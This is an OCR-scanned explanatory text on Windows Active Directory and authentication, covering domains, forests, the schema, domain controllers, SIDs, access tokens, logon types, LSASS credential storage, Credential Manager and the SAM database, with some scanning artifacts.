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Active Directory Main tiers and Services

Windows Active directory is the network directory developed by Microsoft. Active Directory stores
information about objects on the network and makes this information easy for administrators and
users to find and use. Active Directory uses a structured data store as the basis for a logical,
hierarchical organization of directory information.

For example, AD DS stores information about user accounts, such as names, passwords, phone
numbers, and so on, and enables other authorized users on the same network to access this
information. This data store, also contains information about other Active Directory objects such as
shared resources (i.e servers, volumes, printers, user or computer accounts and services) .

Security is integrated with Active Directory through logon authentication and access control to
objects in the directory. With a single network logon, administrators can manage directory data and
organization throughout their network, and authorized network users can access resources anywhere
on the network. Policy-based administration eases the management of even the most complex
network.

The Active Directory structure includes three main tiers: 1) domains, 2) trees, and 3) forests.
Several objects (users or devices) that all use the same database may be grouped in to a single
domain. Multiple domains can be combined into a single group called a tree. Multiple trees may be
grouped into a collection called a forest. Each one of these levels can be assigned specific access
rights and communication privileges.

Main concepts of an Active Directory:
1. Directory — Contains all the information about the objects of the Active directory

2. Object — An object references almost anything inside the directory (a user, group, shared
folder...)

3. Domain — The objects of the directory are contained inside the domain. Inside a "forest"
more than one domain can exist and each of them will have their own objects collection.

4. Tree — Group of domains with the same root. Example: dom.local, email.dom.local,
www.dom.local

5. Forest — The forest is the highest level of the organization hierarchy and is composed by a
group of trees. The trees are connected by trust relationships.

6. A set of rules, the schema, that defines the classes of objects and attributes contained in the
directory, the constraints and limits on instances of these objects, and the format of their
names. For more information about the schema, see Schema.

7. A global catalog that contains information about every object in the directory. This allows
users and administrators to find directory information regardless of which domain in the
directory actually contains the data.
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8.

A query and index mechanism, so that objects and their properties can be published and
found by network users or applications.

9. A replication service that distributes directory data across a network. All domain controllers

in a domain participate in replication and contain a complete copy of all directory
information for their domain. Any change to directory data is replicated to all domain
controllers in the domain.

Active Directory provides several different services, which fall under the umbrella of "Active
Directory Domain Services," or AD DS. These services include:

1.

Domain Services — stores centralized data and manages communication between users and
domains; includes login authentication and search functionality

. Certificate Services — creates, distributes, and manages secure certificates

. Lightweight Directory Services — supports directory-enabled applications using the open

(LDAP) protocol

Directory Federation Services — provides single-sign-on (SSO) to authenticate a user in
multiple web applications in a single session

. Rights Management — protects copyrighted information by preventing unauthorized use

and distribution of digital content

DNS Service — Used to resolve domain names.

Active Directory Structure and Storage
Architecture

The Active Directory structure and storage architecture consists of four parts:

Active Directory domains and forests. Forests, domains, and organizational units (OUs)
make up the core elements of the Active Directory logical structure. A forest defines a single
directory and represents a security boundary. Forests contain domains.

Domain Name System (DNS) support for Active Directory. DNS provides a name resolution
service for domain controller location and a hierarchical design that Active Directory can
use to provide a naming convention that can reflect organizational structure.

Schema. The schema provides object definitions that are used to create the objects that are
stored in the directory.

Data store. The data store is the portion of the directory that manages the storage and
retrieval of data on each domain controller.

The following figure illustrates the Active Directory data structure and storage architecture.

Active Directory Data Structure and Storage Architecture
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Active Directory Domains and Forests

Domains partition the directory into smaller sections within a single forest. This partitioning results
in more control over how data is replicated so that an efficient replication topology can be
established and network bandwidth is not wasted by replicating data where it is not required. OUs
make it possible to group resources in a domain for management purposes, such as applying

Group Policy or delegating control to administrators.

The following figure illustrates the relationships of OUs, domains, and forests in the logical
structure architecture.

Logical Structure Architecture

Forest

Domainl Domain2

DNS Support for Active Directory

Active Directory uses DNS as its domain controller location mechanism. When any of the principal
Active Directory operations, such as authentication, updating, or searching, is performed, domain
joined computers use DNS to locate Active Directory domain controllers, and these domain
controllers use DNS to locate each other. For example, when a network user with an

Active Directory user account logs on to an Active Directory domain, the user’s computer uses
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DNS to locate a domain controller for the Active Directory domain to which the user wants to log
on.

To log on to a network that consists of an Active Directory forest, a client workstation must first be
able to locate a nearby domain controller. The domain controller is necessary for initial
authentication of both the workstation and the user and for subsequent authorization of the user for
the files and resources to which the user needs access. The support that is provided to

Active Directory by DNS enables a client workstation to locate a domain controller.

Active Directory Schema

The Active Directory schema contains definitions for all the objects that are used to store
information in the directory. There is one schema per forest. However, a copy of the schema exists
on every domain controller in the forest. This way, every domain controller has quick access to any
object definition that it might need, and every domain controller uses the same definition when it
creates a given object. The data store relies on the schema to provide object definitions, and the data
store uses those definitions to enforce data integrity. The result is that all objects are created
uniformly, and it does not matter which domain controller creates or modifies an object because all
domain controllers use the same object definition.

The following figure illustrates the relationship of the schema to the data store in the schema
architecture.

Schema Architecture

Domain
Controller

<= Schema

Data
Store

Database

%

Active Directory Data Store

The Active Directory data store is made up of several components that together provide directory
services to directory clients. These components include the following:

 Four interfaces:
» Lightweight Directory Access Protocol (LDAP)
* Replication (REPL) and domain controller management interface
* Messaging API (MAPI)
* Security Accounts Manager (SAM)

» Three service components:
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» Directory System Agent (DSA)
» The database layer
» Extensible Storage Engine (ESE)
» The directory database where the data is actually stored
The following figure illustrates the relationships of these components in the data store architecture.
Data Store Architecture

Domain
Controller

LDAP, REPL, MAPI, SAM

: :

DsSA

Database Layer
[ |
ESE (Esent.dll)

Database

Domain Controller

A domain controller is a server that is running a version of the Windows Server® operating system
and has Active Directory® Domain Services installed. When you install Windows Server on a
computer, you can choose to configure a specific server role for that computer. When you want to
create a new forest, a new domain, or an additional domain controller in an existing domain, you
configure the server with the role of domain controller by installing AD DS.

By default, a domain controller stores one domain directory partition consisting of information
about the domain in which it is located, plus the schema and configuration directory partitions for
the entire forest.

Domain Controller Roles

Global Catalog Servers

Every domain controller stores the objects for the domain in which it is installed. However, a
domain controller designated as a global catalog server stores the objects from all domains in the
forest. For each object that is not in the domain for which the global catalog server is authoritative
as a domain controller, a limited set of attributes is stored in a partial replica of the domain.
Therefore, a global catalog server stores its own full, writable domain replica (all objects and all
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attributes) plus a partial, read-only replica of every other domain in the forest. The global catalog is
built and updated automatically by the AD DS replication system. The object attributes that are
replicated to global catalog servers are the attributes that are most likely to be used to search for the
object in AD DS. The attributes that are replicated to the global catalog are identified in the schema
as the partial attribute set (PAS) and are defined by default by Microsoft. However, to optimize
searching, you can edit the schema by adding or removing attributes that are stored in the global
catalog.

The global catalog makes it possible for clients to search AD DS without having to be referred from
server to server until a domain controller that has the domain directory partition storing the
requested object is found. By default, AD DS searches are directed to global catalog servers.

The first domain controller in a forest is automatically created as a global catalog server. Thereafter,
you can designate other domain controllers to be global catalog servers if they are needed.

Operations Masters

Domain controllers that hold operations master roles are designated to perform specific tasks to
ensure consistency and to eliminate the potential for conflicting entries in the Active Directory
database. AD DS defines five operations master roles: the schema master, domain naming master,
relative identifier (RID) master, primary domain controller (PDC) emulator, and infrastructure
master.

The following operations masters perform operations that must occur on only one domain controller
in the forest:

» Schema master

* Domain naming master

The following operations masters perform operations that must occur on only one domain controller
in a domain:

* Primary Domain Controller (PDC) emulator
* Infrastructure master

» Relative ID (RID) master

Windows Authentication Concepts

Authentication is a process for verifying the identity of an object or person. When you authenticate
an object, the goal is to verify that the object is genuine. When you authenticate a person, the goal is
to verify that the person is not an imposter.

In a networking context, authentication is the act of proving identity to a network application or
resource. Typically, identity is proven by a cryptographic operation that uses either a key only the
user knows (as with public key cryptography) or a shared key. The server side of the authentication
exchange compares the signed data with a known cryptographic key to validate the authentication
attempt.
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Storing the cryptographic keys in a secure central location makes the authentication process
scalable and maintainable. Active Directory is the recommended and default technology for storing
identity information, which include the cryptographic keys that are the user's credentials. Active
Directory is required for default NTLM and Kerberos implementations.

Authentication techniques range from a simple logon to an operating system or a sign-in to a service
or application, which identifies users based on something that only the user knows, such as a
password, to more powerful security mechanisms that use something that the user has'such as
tokens, public key certificates, pictures, or biological attributes. In a business environment, users
might access multiple applications on many types of servers within a single location or across
multiple locations. For these reasons, authentication must support environments for other platforms
and for other Windows operating systems.

Security Principals

Security principals are any entity that can be authenticated by the operating system, such as a user
account, a computer account, or a thread or process that runs in the security context of a user or
computer account, or the security groups for these accounts. Security principals have long been a
foundation for controlling access to securable resources on Windows computers. Each security
principal is represented in the operating system by a unique security identifier (SID).

How security principals work

Security principals that are created in an Active Directory domain are Active Directory objects,
which can be used to manage access to domain resources. Each security principal is assigned a
unique identifier, which it retains for its entire lifetime. Local user accounts and security groups are
created on a local computer, and they can be used to manage access to resources on that computer.
Local user accounts and security groups are managed by the Security Accounts Manager (SAM) on
the local computer.

Authorization and access control components

The following diagram illustrates the Windows authorization and access control process. In this
diagram, the subject (a process that is initiated by a user) attempts to access an object, such as a
shared folder. The information in the user’s access token is compared to the access control entries
(ACE's) in the object’s security descriptor, and the access decision is made. The SIDs of security
principals are used in the user’s access token and in the ACEs in the object’s security descriptor.

Authorization and access control process

10
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Security principals are closely related to the following components and technologies:
* Security identifiers
» Access tokens
* Security descriptors and access control lists
* Permissions

Security identifiers

Security identifiers (SIDs) provide a fundamental building block of the Windows security model.
They work with specific components of the authorization and access control technologies in the
security infrastructure of the Windows Server operating systems. This helps protect access to
network resources and provides a more secure computing environment.

A SID is a value of variable length that is used to uniquely identify a security principal that
represents any entity that can be authenticated by the system. These entities include a user account,
a computer account, or a thread or process that runs in the security context of a user or computer
account. Each security principal is automatically assigned a SID when it is created. The SID is
stored in a security database. When a SID is used as the unique identifier for a user or group, it can
never be used to identify another user or group.

Each time a user signs in, the system creates an access token for that user. The access token contains
the user’s SID, user rights, and the SIDs for groups that the user belongs to. This token provides the
security context for whatever actions the user performs on that computer.

In addition to the uniquely created, domain-specific SIDs that are assigned to specific users and
groups, there are well-known SIDs that identify generic groups and generic users. For example, the
Everyone and the World SIDs identify groups that includes all users. Well-known SIDs have values
that remain constant across all operating systems.

11
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Access tokens

An access token is a protected object that contains information about the identity and user rights
that are associated with a user account.

When a user signs in interactively or tries to make a network connection to a computer running
Windows, the sign-in process authenticates the user’s credentials. If authentication is successful, the
process returns a SID for the user and a list of SIDs for the user’s security groups. The Local
Security Authority (LSA) on the computer uses this information to create an access token (in this
case, the primary access token). This includes the SIDs that are returned by the sign-in process and
a list of user rights that are assigned by the local security policy to the user and to the user’s security
groups.

After the LSA creates the primary access token, a copy of the access token is attached to every
thread and process that executes on the user’s behalf. Whenever a thread or process interacts with a
securable object or tries to perform a system task that requires user rights, the operating system
checks the access token that is associated with the thread to determine the level of authorization.

There are two kinds of access tokens, primary and impersonation. Every process has a primary
token that describes the security context of the user account that is associated with the process. A
primary access token is typically assigned to a process to represent the default security information
for that process. Impersonation tokens, on the other hand, are usually used for client and server
scenarios. Impersonation tokens enable a thread to run in a security context that differs from the
security context of the process that owns the thread.

Security descriptors and access control lists

A security descriptor is a data structure that is associated with each securable object. All objects in
Active Directory and all securable objects on a local computer or on the network have security
descriptors to help control access to the objects. Security descriptors include information about who
owns an object, who can access it and in what way, and what types of access are audited. Security
descriptors contain the access control list (ACL) of an object, which includes all of the security
permissions that apply to that object. An object’s security descriptor can contain two types of ACLs:

» A discretionary access control list (DACL), which identifies the users and groups who are
allowed or denied access

» A system access control list (SACL), which controls how access is audited

You can use this access control model to individually secure objects and attributes such as files and
folders, Active Directory objects, registry keys, printers, devices, ports, services, processes, and
threads. Because of this individual control, you can adjust the security of objects to meet the needs
of your organization, delegate authority over objects or attributes, and create custom objects or
attributes that require unique security protections to be defined.

Permissions

Permissions enable the owner of each securable object, such as a file, Active Directory object, or
registry key, to control who can perform an operation or a set of operations on the object or object
property. Permissions are expressed in the security architecture as access control entries (ACEs).

12
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Because access to an object is at the discretion of the object’s owner, the type of access control that
is used in Windows is called discretionary access control.

Permissions are different from user rights in that permissions are attached to objects, and user rights
apply to user accounts. Administrators can assign user rights to groups or users. These rights
authorize users to perform specific actions, such as signing in to a system interactively or backing
up files and directories.

On computers, user rights enable administrators to control who has the authority to perform
operations that affect an entire computer, rather than a particular object. Administrators assign user
rights to individual users or groups as part of the security settings for the computer. Although user
rights can be managed centrally through Group Policy, they are applied locally. Users can (and
usually do) have different user rights on different computers.

Security context in authentication

A user account enables a user to sign in to computers, networks, and domains with an identity that
can be authenticated by the computer, network, or domain.

In Windows, any user, service, group, or computer that can initiate action is a security principal.
Security principals have accounts, which can be local to a computer or domain-based. For example,
domain-joined Windows client computers can participate in a network domain by communicating
with a domain controller, even when no user is signed in.

To initiate communications, the computer must have an active account in the domain. Before
accepting communications from the computer, the Local Security Authority on the domain
controller authenticates the computer’s identity and then defines the computer’s security context
just as it would for a user’s security principal.

This security context defines the identity and capabilities of a user or service on a particular
computer, or of a user, service, group or computer on a network. For example, it defines the
resources (such as a file share or printer) that can be accessed and the actions (such as Read, Write,
or Modify) that can be performed by a user, service, or computer on that resource.

The security context of a user or computer can vary from one computer to another, such as when a
user authenticates to a server or a workstation other than the user’s primary workstation. It can also
vary from one session to another, such as when an administrator modifies the user’s rights and
permissions. In addition, the security context is usually different when a user or computer is
operating on a stand-alone basis, in a mixed network domain, or as part of an Active Directory
domain.

Accounts and security groups

Accounts and security groups that are created in an Active Directory domain are stored in the Active
Directory database and managed by using ActiveDirectory tools. These security principals are
directory objects, and they can be used to manage access to domain resources.
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Local user accounts and security groups are created on a local computer, and they can be used to
manage access to resources on that computer. Local user accounts and security groups are stored in
and managed by the Security Accounts Manager (SAM) on the local computer.

User accounts

A user account uniquely identifies a person who is using a computer system. The account signals
the system to enforce the appropriate authorization to allow or deny that user access to resources.
User accounts can be created in Active Directory and on local computers, and administrators use
them to:

» Represent, identify, and authenticate the identity of a user. A user account enables a user to
sign in to computers, networks, and domains with a unique identifier that can be
authenticated by the computer, network, or domain.

» Authorize (grant or deny) access to resources. After a user has been authenticated, the user is
authorized access to resources based on the permissions that are assigned to that user for the
resource.

» Audit the actions that are carried out on a user account.

Windows and the Windows Server operating systems have built-in user accounts, or you can create
user accounts to meet the requirements of your organization.

Security groups

A security group is a collection of user accounts, computer accounts, and other groups of accounts
that can be managed as a single unit from a security perspective. In Windows operating systems,
there are several built-in security groups that are preconfigured with the appropriate rights and
permissions for performing specific tasks. Additionally, you can (and, typically, will) create a
security group for each unique combination of security requirements that applies to multiple users
in your organization.

Groups can be Active Directory-based or local to a particular computer:

» Active Directory security groups are used to manage rights and permissions to domain
resources.

» Local groups exist in the SAM database on local computers (on all Windows-based
computers) except domain controllers. You use local groups to manage rights and
permissions only to resources on the local computer.

By using security groups to manage access control, you can:

+ Simplify administration. You can assign a common set of rights, a common set of
permissions, or both to many accounts at one time, rather than assigning them to each
account individually. Also, when users transfer jobs or leave the organization, permissions
are not tied to their user accounts, making permission reassignment or removal easier.

+ Implement a role-based access-control model. You can use this model to grant permissions
by using groups with different scopes for appropriate purposes. Scopes that are available in
Windows include local, global, domain local, and universal.
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* Minimize the size of access control lists (ACLs) and speed security checking. A security
group has its own SID; therefore, the group SID can be used to specify permissions for a
resource. In an environment with more than a few thousand users, if the SIDs of individual
user accounts are used to specify access to a resource, the ACL of that resource can become
unmanageably large, and the time that is needed for the system to check permissions to the
resource can become unacceptable.

Special Identities

Special identity groups are similar to Active Directory security groups as listed in the users and
built-in containers. Special identity groups can provide an efficient way to assign access to
resources in your network. By using special identity groups, you can:

» Assign user rights to security groups in Active Directory.

+ Assign permissions to security groups for the purpose of accessing resources.

Windows Authentication Architecture

Authentication is the process by which the system validates a user's logon or sign-in information. A
user's name and password are compared against an authorized list, and if the system detects a
match, access is granted to the extent specified in the permission list for that user.

As part of an extensible architecture, the Windows Server operating systems implement a default set
of authentication security support providers, which include Negotiate, the Kerberos protocol,
NTLM, Schannel (secure channel), and Digest. The protocols used by these providers enable
authentication of users, computers, and services, and the authentication process enables authorized
users and services to access resources in a secure manner.

In Windows Server, applications authenticate users by using the SSPI to abstract calls for
authentication. Thus, developers do not need to understand the complexities of specific
authentication protocols or build authentication protocols into their applications.

Windows Server operating systems include a set of security components that make up the Windows
security model. These components ensure that applications cannot gain access to resources without
authentication and authorization.

Local Security Authority

The Local Security Authority (LSA) is a protected subsystem that authenticates and signs in users to
the local computer. In addition, LSA maintains information about all aspects of local security on a
computer (these aspects are collectively known as the local security policy). It also provides various
services for translation between names and security identifiers (SIDs).

The security subsystem keeps track of the security policies and the accounts that are on a computer
system. In the case of a domain controller, these policies and accounts are those that are in effect for
the domain in which the domain controller is located. These policies and accounts are stored in
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Active Directory. The LSA subsystem provides services for validating access to objects, checking
user rights, and generating audit messages.

Security Support Provider Interface

The Security Support Provider Interface (SSPI) is the API that obtains integrated security services
for authentication, message integrity, message privacy, and security quality-of-service for any
distributed application protocol.

SSPI is the implementation of the Generic Security Service API (GSSAPI). SSPI provides a
mechanism by which a distributed application can call one of several security providers to obtain an
authenticated connection without knowledge of the details of the security protocol.

Windows Logon Scenarios

The Windows operating systems require all users to log on to the computer with a valid account to

access local and network resources. Windows-based computers secure resources by implementing

the logon process, in which users are authenticated. After a user is authenticated, authorization and
access control technologies implement the second phase of protecting resources: determining if the
authenticated user is authorized to access a resource.

In addition, applications and services can require users to sign in to access those resources that are
offered by the application or service. The sign-in process is similar to the logon process, in that a
valid account and correct credentials are required, but logon information is stored in the Security
Account Manager (SAM) database on the local computer and in Active Directory where applicable.
Sign-in account and credential information is managed by the application or service, and optionally
can be stored locally in Credential Locker.

Interactive logon

The logon process begins either when a user enters credentials in the credentials entry dialog box,
or when the user inserts a smart card into the smart card reader, or when the user interacts with a
biometric device. Users can perform an interactive logon by using a local user account or a domain
account to log on to a computer.

The following diagram shows the interactive logon elements and logon process.
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Local and domain logon

Credentials that the user presents for a domain logon contain all the elements necessary for a local
logon, such as account name and password or certificate, and Active Directory domain information.
The process confirms the user's identification to the security database on the user's local computer

or to an Active Directory domain. This mandatory logon process cannot be turned off for users in a
domain.

Users can perform an interactive logon to a computer in either of two ways:

» Locally, when the user has direct physical access to the computer, or when the computer is
part of a network of computers.
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A local logon grants a user permission to access Windows resources on the local computer. A local
logon requires that the user has a user account in the Security Accounts Manager (SAM) on the
local computer. The SAM protects and manages user and group information in the form of security
accounts stored in the local computer registry. The computer can have network access, but it is not
required. Local user account and group membership information is used to manage access to local
resources.

A network logon grants a user permission to access Windows resources on the local computer in
addition to any resources on networked computers as defined by the credential's access token. Both
a local logon and a network logon require that the user has a user account in the Security Accounts
Manager (SAM) on the local computer. Local user account and group membership information is
used to manage access to local resources, and the access token for the user defines what resources
can be accessed on networked computers.

A local logon and a network logon are not sufficient to grant the user and computer permission to
access and to use domain resources.

* Remotely, through Terminal Services or Remote Desktop Services (RDS), in which case the
logon is further qualified as remote interactive.

After an interactive logon, Windows runs applications on behalf of the user, and the user can
interact with those applications.

A local logon grants a user permission to access resources on the local computer or resources on
networked computers. If the computer is joined to a domain, then the Winlogon functionality
attempts to log on to that domain.

A domain logon grants a user permission to access local and domain resources. A domain logon
requires that the user has a user account in Active Directory. The computer must have an account in
the Active Directory domain and be physically connected to the network. Users must also have the
user rights to log on to a local computer or a domain. Domain user account information and group
membership information are used to manage access to domain and local resources.

Remote logon

In Windows, accessing another computer through remote logon relies on the Remote Desktop
Protocol (RDP). Because the user must already have successfully logged on to the client computer
before attempting a remote connection, interactive logon processes have successfully finished.

RDP manages the credentials that the user enters by using the Remote Desktop Client. Those
credentials are intended for the target computer, and the user must have an account on that target
computer. In addition, the target computer must be configured to accept a remote connection. The
target computer credentials are sent to attempt to perform the authentication process. If
authentication is successful, the user is connected to local and network resources that are accessible
by using the supplied credentials.

Network logon

A network logon can only be used after user, service, or computer authentication has taken place.
During network logon, the process does not use the credentials entry dialog boxes to collect data.
Instead, previously established credentials or another method to collect credentials is used. This
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process confirms the user's identity to any network service that the user is attempting to access. This
process is typically invisible to the user unless alternate credentials have to be provided.

To provide this type of authentication, the security system includes these authentication
mechanisms:

» Kerberos version 5 protocol

» Public key certificates

» Secure Sockets Layer/Transport Layer Security (SSL/TLS)

* Digest

* NTLM, for compatibility with Microsoft Windows NT 4.0-based systems

For information about the elements and processes, see the interactive logon diagram above.

Smart card logon

Smart cards can be used to log on only to domain accounts, not local accounts. Smart card
authentication requires the use of the Kerberos authentication protocol. Introduced in Windows
2000 Server, in Windows-based operating systems a public key extension to the Kerberos protocol's
initial authentication request is implemented. In contrast to shared secret key cryptography, public
key cryptography is asymmetric, that is, two different keys are needed: one to encrypt, another to
decrypt. Together, the keys that are required to perform both operations make up a private/public
key pair.

To initiate a typical logon session, a user must prove his or her identity by providing information
known only to the user and the underlying Kerberos protocol infrastructure. The secret information
is a cryptographic shared key derived from the user's password. A shared secret key is symmetric,
which means that the same key is used for both encryption and decryption.

The following diagram shows the elements and processes required for smart card logon.
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When a smart card is used instead of a password, a private/public key pair stored on the user's smart
card is substituted for the shared secret key, which is derived from the user's password. The private
key is stored only on the smart card. The public key can be made available to anyone with whom
the owner wants to exchange confidential information.

Bio-metric logon

A device is used to capture and build a digital characteristic of an artifact, such as a fingerprint. This
digital representation is then compared to a sample of the same artifact, and when the two are
successfully compared, authentication can occur. However, if biometric logon is only configured for
local logon, the user needs to present domain credentials when accessing an Active Directory
domain.
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Credentials Processes in Windows
Authentication

Windows credentials management is the process by which the operating system receives the
credentials from the service or user and secures that information for future presentation to the
authenticating target. In the case of a domain-joined computer, the authenticating target is the
domain controller. The credentials used in authentication are digital documents that associate the
user's identity to some form of proof of authenticity, such as a certificate, a password, or a PIN.

By default, Windows credentials are validated against the Security Accounts Manager (SAM)
database on the local computer, or against Active Directory on a domain-joined computer, through
the Winlogon service. Credentials are collected through user input on the logon user interface or
programmatically via the application programming interface (API) to be presented to the
authenticating target.

The following diagram shows the components that are required and the paths that credentials take
through the system to authenticate the user or process for a successful logon.
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In Windows Server 2008 and Windows Vista, the Graphical Identification and Authentication
(GINA) architecture was replaced with a credential provider model, which made it possible to
enumerate different logon types through the use of logon tiles. Both models are described below.

Graphical Identification and Authentication architecture

The Graphical Identification and Authentication (GINA) architecture applies to the Windows Server
2003, Microsoft Windows 2000 Server, Windows XP, and Windows 2000 Professional operating
systems.
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Credential provider architecture

In these systems since server 2008R2 and vista, the credentials input architecture changed to an
extensible design by using credential providers. These providers are represented by the different
logon tiles on the secure desktop that permit any number of logon scenarios - different accounts for
the same user and different authentication methods, such as password, smart card, and biometrics.

With the credential provider architecture, Winlogon always starts Logon UI after it receives a secure
attention sequence event. Logon UI queries each credential provider for the number of different
credential types the provider is configured to enumerate. Credential providers have the option of
specifying one of these tiles as the default. After all providers have enumerated their tiles, Logon Ul
displays them to the user. The user interacts with a tile to supply their credentials. Logon UI submits
these credentials for authentication.

Credential providers are not enforcement mechanisms. They are used to gather and serialize
credentials. The Local Security Authority and authentication packages enforce security.

Credential providers are registered on the computer and are responsible for the following:
» Describing the credential information required for authentication.
* Handling communication and logic with external authentication authorities.

» Packaging credentials for interactive and network logon.

Packaging credentials for interactive and network logon includes the process of serialization. By
serializing credentials multiple logon tiles can be displayed on the logon UI. Therefore, your
organization can control the logon display such as users, target systems for logon, pre-logon access
to the network and workstation lock/unlock policies - through the use of customized credential
providers. Multiple credential providers can co-exist on the same computer.

Single sign-on (SSO) providers can be developed as a standard credential provider or as a Pre-
Logon-Access Provider.

Each version of Windows contains one default credential provider and one default Pre-Logon-
Access Provider (PLAP), also known as the SSO provider. The SSO provider permits users to make
a connection to a network before logging on to the local computer. When this provider is
implemented, the provider does not enumerate tiles on Logon UI.

A SSO provider is intended to be used in the following scenarios:

* Network authentication and computer logon are handled by different credential
providers. Variations to this scenario include:

» Auser has the option of connecting to a network, such as connecting to a virtual
private network (VPN), before logging on to the computer but is not required to
make this connection.

» Network authentication is required to retrieve information used during interactive
authentication on the local computer.
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* Multiple network authentications are followed by one of the other scenarios. For
example, a user authenticates to an Internet service provider (ISP), authenticates to a
VPN, and then uses their user account credentials to log on locally.

» Cached credentials are disabled, and a Remote Access Services connection through
VPN is required before local logon to authenticate the user.

» A domain user does not have a local account set up on a domain-joined computer and
must establish a Remote Access Services connection through VPN connection before
completing interactive logon.

* Network authentication and computer logon are handled by the same credential
provider. In this scenario, the user is required to connect to the network before logging on to
the computer.

Local Security Authority

The Local Security Authority (LSA) is a protected system process that authenticates and logs users
on to the local computer. In addition, LSA maintains information about all aspects of local security
on a computer (these aspects are collectively known as the local security policy), and it provides
various services for translation between names and security identifiers (SIDs). The security system
process, Local Security Authority Server Service (LSASS), keeps track of the security policies and
the accounts that are in effect on a computer system.

The LSA validates a user's identity based on which of the following two entities issued the user's
account:

* Local Security Authority. The LSA can validate user information by checking the Security
Accounts Manager (SAM) database located on the same computer. Any workstation or
member server can store local user accounts and information about local groups. However,
these accounts can be used for accessing only that workstation or computer.

* Security authority for the local domain or for a trusted domain. The LSA contacts the
entity that issued the account and requests verification that the account is valid and that the
request originated from the account holder.

The Local Security Authority Subsystem Service (LSASS) stores credentials in memory on behalf
of users with active Windows sessions. The stored credentials let users seamlessly access network
resources, such as file shares, Exchange Server mailboxes, and SharePoint sites, without re-entering
their credentials for each remote service.

LSASS can store credentials in multiple forms, including:
» Reversibly encrypted plaintext
» Kerberos tickets (ticket-granting tickets (TGTs), service tickets)

e NT hash
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* LAN Manager (LM) hash

If the user logs on to Windows by using a smart card, LSASS does not store a plaintext password,
but it stores the corresponding NT hash value for the account and the plaintext PIN for the smart
card. If the account attribute is enabled for a smart card that is required for interactive logon, a
random NT hash value is automatically generated for the account instead of the original password
hash. The password hash that is automatically generated when the attribute is set does not change.

If a user logs on to a Windows-based computer with a password that is compatible with LAN
Manager (LM) hashes, this authenticator is present in memory.

The storage of plaintext credentials in memory cannot be disabled, even if the credential providers
that require them are disabled.

The stored credentials are directly associated with the Local Security Authority Subsystem Service
(LSASS) logon sessions that have been started after the last restart and have not been closed. For
example, LSA sessions with stored LSA credentials are created when a user does any of the
following:

» Logs on to a local session or Remote Desktop Protocol (RDP) session on the computer
* Runs a task by using the RunAs option

* Runs an active Windows service on the computer

* Runs a scheduled task or batch job

* Runs a task on the local computer by using a remote administration tool

In some circumstances, the LSA secrets, which are secret pieces of data that are accessible only to
SYSTEM account processes, are stored on the hard disk drive. Some of these secrets are credentials
that must persist after reboot, and they are stored in encrypted form on the hard disk drive.
Credentials stored as LSA secrets might include:

* Account password for the computer's Active Directory Domain Services (AD DS) account
» Account passwords for Windows services that are configured on the computer

* Account passwords for configured scheduled tasks

» Account passwords for IIS application pools and websites

» Passwords for Microsoft accounts

Introduced in Windows 8.1, the client operating system provides additional protection for the LSA
to prevent reading memory and code injection by non-protected processes. This protection increases
security for the credentials that the LSA stores and manages.
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Cached credentials and validation

Validation mechanisms rely on the presentation of credentials at the time of logon. However, when
the computer is disconnected from a domain controller, and the user is presenting domain
credentials, Windows uses the process of cached credentials in the validation mechanism.

Each time a user logs on to a domain, Windows caches the credentials supplied and stores them in
the security hive in the registry of the operation system.

With cached credentials, the user can log on to a domain member without being connected to a
domain controller within that domain.

Credential storage and validation

It is not always desirable to use one set of credentials for access to different resources. For example,
an administrator might want to use administrative rather than user credentials when accessing a
remote server. Similarly, if a user accesses external resources, such as a bank account, he or she can
only use credentials that are different than their domain credentials.

Remote logon credential processes

The Remote Desktop Protocol (RDP) manages the credentials of the user who connects to a remote
computer by using the Remote Desktop Client, which was introduced in Windows 8. The
credentials in plaintext form are sent to the target host where the host attempts to perform the
authentication process, and, if successful, connects the user to allowed resources. RDP does not
store the credentials on the client, but the user's domain credentials are stored in the LSASS.

Introduced in Windows Server 2012 R2 and Windows 8.1, Restricted Admin mode provides
additional security to remote logon scenarios. This mode of Remote Desktop causes the client
application to perform a network logon challenge-response with the NT one-way function
(NTOWEF) or use a Kerberos service ticket when authenticating to the remote host. After the
administrator is authenticated, the administrator does not have the respective account credentials in
LSASS because they were not supplied to the remote host. Instead, the administrator has the
computer account credentials for the session. Administrator credentials are not supplied to the
remote host, so actions are performed as the computer account. Resources are also limited to the
computer account, and the administrator cannot access resources with his own account.

Automatic restart sign-on credential process

When a user signs in on a Windows 8.1 device, LSA saves the user credentials in encrypted
memory that are accessible only by LSASS.exe. When Windows Update initiates an automatic
restart without user presence, these credentials are used to configure Autologon for the user.

On restart, the user is automatically signed in via the Autologon mechanism, and then the computer
is additionally locked to protect the user's session. The locking is initiated through Winlogon
whereas the credential management is done by LSA. By automatically signing in and locking the
user's session on the console, the user's lock screen applications is restarted and available.

Windows Vault and Credential Manager

Credential Manager was introduced in Windows Server 2008 R2 and Windows 7 as a Control Panel
feature to store and manage user names and passwords. Credential Manager lets users store
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credentials relevant to other systems and websites in the secure Windows Vault. Some versions of
Internet Explorer use this feature for authentication to websites.

Credential management by using Credential Manager is controlled by the user on the local
computer. Users can save and store credentials from supported browsers and Windows applications
to make it convenient when they need to sign in to these resources. Credentials are saved in special
encrypted folders on the computer under the user's profile. Applications that support this feature
(through the use of the Credential Manager APIs), such as web browsers and apps, can present the
correct credentials to other computers and websites during the logon process.

When a website, an application, or another computer requests authentication through NTLM or the
Kerberos protocol, a dialog box appears in which you select the Update Default Credentials or
Save Password check box. This dialog box that lets a user save credentials locally is generated by
an application that supports the Credential Manager APIs. If the user selects the Save Password
check box, Credential Manager keeps track of the user's user name, password, and related
information for the authentication service that is in use.

The next time the service is used, Credential Manager automatically supplies the credential that is
stored in the Windows Vault. If it is not accepted, the user is prompted for the correct access
information. If access is granted with the new credentials, Credential Manager overwrites the
previous credential with the new one and then stores the new credential in the Windows Vault.

Security Accounts Manager database

The Security Accounts Manager (SAM) is a database that stores local user accounts and groups. It
is present in every Windows operating system; however, when a computer is joined to a domain,
Active Directory manages domain accounts in Active Directory domains.

For example, client computers running a Windows operating system participate in a network
domain by communicating with a domain controller even when no human user is logged on. To
initiate communications, the computer must have an active account in the domain. Before accepting
communications from the computer, the LSA on the domain controller authenticates the computer's
identity and then constructs the computer's security context just as it does for a human security
principal. This security context defines the identity and capabilities of a user or service on a
particular computer or a user, service, or computer on a network. For example, the access token
contained within the security context defines the resources (such as a file share or printer) that can
be accessed and the actions (such as Read, Write, or Modity) that can be performed by that
principal - a user, computer, or service on that resource.

The security context of a user or computer can vary from one computer to another, such as when a
user logs on to a server or a workstation other than the user's own primary workstation. It can also
vary from one session to another, such as when an administrator modifies the user's rights and
